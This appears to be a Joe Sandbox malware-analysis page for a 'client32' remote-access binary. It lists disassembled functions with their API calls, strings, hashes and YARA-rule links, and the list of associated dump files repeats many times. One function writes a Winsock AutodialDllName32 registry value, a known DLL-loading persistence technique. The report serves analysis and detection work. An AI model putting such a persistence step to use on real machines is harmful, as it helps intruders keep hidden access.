Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$AppendCreateErrorExitLastMessageProcess_freewsprintf
String ID: IsA()$e:\nsmsrc\nsm\1201\1201f2\ctl32\IEFavourites.h$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h
API String ID: 1956547959-127113396
Opcode ID: ae0daca5e524887d6045aa3093877d1e47d145438e00f3db79d2cd643436765f
Instruction ID: 1b6c63c24338c86407ebd4c0ec086c5d3198c705a6e80d99f4d3243e9f46137b
Opcode Fuzzy Hash: ae0daca5e524887d6045aa3093877d1e47d145438e00f3db79d2cd643436765f
Instruction Fuzzy Hash: 33518C7DA08606ABCB25CF55DC80F9EF3B4FF48718F208658ED2567780DB31A905CAA1

Function 1105F0E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 88registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 1105F10E
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Services\Winsock\Autodial,00000000,00000000,00000000), ref: 1105F136
RegSetValueExA.ADVAPI32(00000000,AutodialDllName32,00000000,?,111D92E1,00000010), ref: 1105F220
RegCloseKey.ADVAPI32(00000000), ref: 1105F22D

Part of subcall function 11132450: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110291B,75A38400,?,?,1113451F,00000000,CSDVersion,00000000,00000000,?), ref: 11132470

Strings

System\CurrentControlSet\Services\Winsock\Autodial, xrefs: 1105F12C
AutodialDllName32, xrefs: 1105F178, 1105F1DE, 1105F21A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQueryVersion
String ID: AutodialDllName32$System\CurrentControlSet\Services\Winsock\Autodial
API String ID: 387276457-2283657482
Opcode ID: a3b138f78b095ecd2dd4f2ceb670666107fbd6ca84dad05e8fdd868d7ed900a2
Instruction ID: e4c3f3aff344711777e9417e9598a4d17be5596ef11d057f72070e3f7c066d2f
Opcode Fuzzy Hash: a3b138f78b095ecd2dd4f2ceb670666107fbd6ca84dad05e8fdd868d7ed900a2
Instruction Fuzzy Hash: C131A379E0021D9FDF60CF54CC88FADF7BAAB45308F4080D9E848A2141E7746A45CF52

Function 11055010 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85timeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,82E0FB89,76872AF0,00000001,000000C8,110554E5,?,?,00000000,?,?), ref: 11055068
timeGetTime.WINMM ref: 1105509B

Part of subcall function 11131740: _strncpy.LIBCMT ref: 11131782

SetEvent.KERNEL32(?), ref: 110550E4
LeaveCriticalSection.KERNEL32(?), ref: 110550EB

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

Strings

gMain.pReconnThread, xrefs: 11055051
CltReconn.cpp, xrefs: 1105504C

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSectionwsprintf$EnterErrorEventExitLastLeaveMessageProcessTime_malloc_memset_strncpytime
String ID: CltReconn.cpp$gMain.pReconnThread
API String ID: 3397837340-2390197369
Opcode ID: b682c9cf606a3662c13bb09a8953d970b76c9c428edd8b2ecbfa41850f18c41f
Instruction ID: 951eb923e7c686365c6e5888714639626bc13f8e8268a3ec29750d4fc865e335
Opcode Fuzzy Hash: b682c9cf606a3662c13bb09a8953d970b76c9c428edd8b2ecbfa41850f18c41f
Instruction Fuzzy Hash: 2A317FB6D006159FCB51CFA8D880B9EFBF8FB48718F10856AE916E7244D775A900CBE1

Function 110AF0C0 Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004C), ref: 110AF0F2
GetSystemMetrics.USER32(0000004D), ref: 110AF0F9
GetSystemMetrics.USER32(0000004E), ref: 110AF100
GetSystemMetrics.USER32(0000004F), ref: 110AF107
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 110AF116
GetSystemMetrics.USER32(?), ref: 110AF124
GetSystemMetrics.USER32(00000001), ref: 110AF133

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$Metrics$InfoParameters
String ID:
API String ID: 3136151823-0
Opcode ID: bf5e026fc6f2f8d516ea3f6301bb30ff143f875d1c1b2847ac3ef235195643f8
Instruction ID: 7c71a874cc683e3bf2dee40a1eb1ca687fcdd4ea94523516a10deac17ed6ea0e
Opcode Fuzzy Hash: bf5e026fc6f2f8d516ea3f6301bb30ff143f875d1c1b2847ac3ef235195643f8
Instruction Fuzzy Hash: 41310771E0030A9FCB14DFE9C881AAEFBF5AF88700F20842EE519A7380D674A841CF54

Function 110095A0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

Part of subcall function 110C63A0: wvsprintfA.USER32(?,?,00000000), ref: 110C63D2

WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 11009656
WriteFile.KERNEL32(?,<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >,000000B9,00000000,00000000), ref: 1100966B

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

IsA(), xrefs: 1100960D, 11009635
<HTML%s><Body><title>Approved URLs</title><body bgcolor="#FFFFFF"><div align="center"> <center><table > <td><div align="center"> <center><table border="1" cellspacing="0" cellpadding="3" bgcolor="#FFFFFF" bordercolor="#6089B7">, xrefs: 110095D9
<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >, xrefs: 11009665
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 11009608, 11009630

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileWrite$ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: <HTML%s><Body><title>Approved URLs</title><body bgcolor="#FFFFFF"><div align="center"> <center><table > <td><div align="center"> <center><table border="1" cellspacing="0" cellpadding="3" bgcolor="#FFFFFF" bordercolor="#6089B7">$<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >$IsA()$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h
API String ID: 863766397-2085542942
Opcode ID: d60069f5e1de0f43d3ee76dcbf86c54028c08c36dc082fe327747f164939fbe6
Instruction ID: 691b7d999311c479868ee19ae1316f275a6346ce6453caec75fd1e84fec43159
Opcode Fuzzy Hash: d60069f5e1de0f43d3ee76dcbf86c54028c08c36dc082fe327747f164939fbe6
Instruction Fuzzy Hash: EB214C79A0061AABDB11DF95CC41FDEF3B8FF59614F104259E921B3280EB747904CEA0

Function 110055D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(00000000,?), ref: 1100560D
BeginPaint.USER32(?,?), ref: 11005618
BitBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,00CC0020), ref: 1100563A
EndPaint.USER32(?,?), ref: 1100565F

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 110055F3
m_hWnd, xrefs: 110055F8

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Paint$BeginClientErrorExitLastMessageProcessRectwsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 1216912278-1557312927
Opcode ID: 97d3c940d63b297fb10f83f3dfb68609f49cd421d87f9b9cd799dfe9b4fbcbfc
Instruction ID: 9d934249f53fa8d366fcc49e738241deeb513e329cffd45cc01f0ae030ad81d4
Opcode Fuzzy Hash: 97d3c940d63b297fb10f83f3dfb68609f49cd421d87f9b9cd799dfe9b4fbcbfc
Instruction Fuzzy Hash: 3E118F76A00614BFE711CBA0CC85FAEF3BCEB88704F108129F50697180EA70B904CB65

Function 1100B270 Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1100B280
EnterCriticalSection.KERNEL32(?,?,1100BE6B,?,00000000,00000002), ref: 1100B2B9
EnterCriticalSection.KERNEL32(?,?,1100BE6B,?,00000000,00000002), ref: 1100B2D8

Part of subcall function 1100A1E0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 1100A1FE
Part of subcall function 1100A1E0: DeviceIoControl.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 1100A228
Part of subcall function 1100A1E0: GetLastError.KERNEL32 ref: 1100A230
Part of subcall function 1100A1E0: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1100A244
Part of subcall function 1100A1E0: CloseHandle.KERNEL32(00000000), ref: 1100A24B

waveOutUnprepareHeader.WINMM(00000000,?,00000020,?,1100BE6B,?,00000000,00000002), ref: 1100B2E8
LeaveCriticalSection.KERNEL32(?,?,1100BE6B,?,00000000,00000002), ref: 1100B2EF
_free.LIBCMT ref: 1100B2F8
_free.LIBCMT ref: 1100B2FE

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter_free$CloseControlCreateDecrementDeviceErrorEventHandleHeaderInterlockedLastLeaveObjectSingleUnprepareWaitwave
String ID:
API String ID: 705253285-0
Opcode ID: 58f407269e751de9f91f6fa657191078a7fc4bd98738b10eb03c05d2ca273642
Instruction ID: b53c431c1fdfdfa32c825fd1fca90191d00be8cf6b766cb547cd0a2bc680ebd8
Opcode Fuzzy Hash: 58f407269e751de9f91f6fa657191078a7fc4bd98738b10eb03c05d2ca273642
Instruction Fuzzy Hash: 4211827A900B15AFE712CE60DC88BEFB3ACEF4A399F004529FA2656140D770B541CB61

Function 110AF330 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 110AF354
GetSubMenu.USER32(00000000,00000002), ref: 110AF35D
GetMenuItemCount.USER32(00000000), ref: 110AF366
DeleteMenu.USER32(00000000,00000000,00000400,00000000,00000000,?,?,?,110B3F22,75A37C34,?), ref: 110AF388

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 110AF33E
m_hWnd, xrefs: 110AF343

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$CountDeleteErrorExitItemLastMessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 2484136202-1557312927
Opcode ID: bcacf5f189fccd2e56c6c5f12fc971f734e75ed69440acf96920cd341ab3bb06
Instruction ID: 740f4026c9f67b21facb63a7154dcb50d19f95f0e9da13a6ec497569553e537b
Opcode Fuzzy Hash: bcacf5f189fccd2e56c6c5f12fc971f734e75ed69440acf96920cd341ab3bb06
Instruction Fuzzy Hash: 4FF0EC73D41720BFD3129AB0AC88F8DF398BB49759F048929F601E71C4D7645841C7A5

Function 110033E0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF1), ref: 110033ED
GetSubMenu.USER32(00000000,00000000), ref: 11003413
DestroyMenu.USER32(00000000), ref: 11003442

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

hSub, xrefs: 11003429
..\CTL32\annotate.cpp, xrefs: 110033FE, 11003424
hMenu, xrefs: 11003403

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: df64ea0d2fae3ecbce4d898b4dfec4b1ea76ad89041e8687394a6c81806b7d14
Instruction ID: 1cad6fc9c95bf05f50b6ce3caf6643c8411129ac664c74d8947400ee595e6a5d
Opcode Fuzzy Hash: df64ea0d2fae3ecbce4d898b4dfec4b1ea76ad89041e8687394a6c81806b7d14
Instruction Fuzzy Hash: A9F0A73EE5456237D9136265AC09F8FB6D4CB965ADF058031F800BA685EA20B40145F5

Function 110032F0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFD), ref: 110032FD
GetSubMenu.USER32(00000000,00000000), ref: 11003323
DestroyMenu.USER32(00000000), ref: 11003352

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

hSub, xrefs: 11003339
..\CTL32\annotate.cpp, xrefs: 1100330E, 11003334
hMenu, xrefs: 11003313

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: cb8f0810ee07e3752238a0c809691a2f2e075db7e03e247ef5e11464e5e03cf9
Instruction ID: d45ddfe76467ef9f778f5ab9a3906980c2d231470f314a4c50cab6afe01776b3
Opcode Fuzzy Hash: cb8f0810ee07e3752238a0c809691a2f2e075db7e03e247ef5e11464e5e03cf9
Instruction Fuzzy Hash: 25F0A03EE5466227D9136665AC4AF8FBBD5CB966AAF048031F800E6384EA20A40145B5

Function 1105D390 Relevance: 9.1, APIs: 6, Instructions: 97timeCOMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 1105D3A6

Part of subcall function 111521E3: GetSystemTimeAsFileTime.KERNEL32(00000001,?,?,?,11104EFA,?,00000000,00000001,00020001,?,?,currentver,?), ref: 111521EE
Part of subcall function 111521E3: __aulldiv.LIBCMT ref: 1115220E

__localtime64.LIBCMT ref: 1105D3AF

Part of subcall function 11154DED: __localtime64_s.LIBCMT ref: 11154E02

SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 1105D438
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 1105D442
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1105D463
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1105D471

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
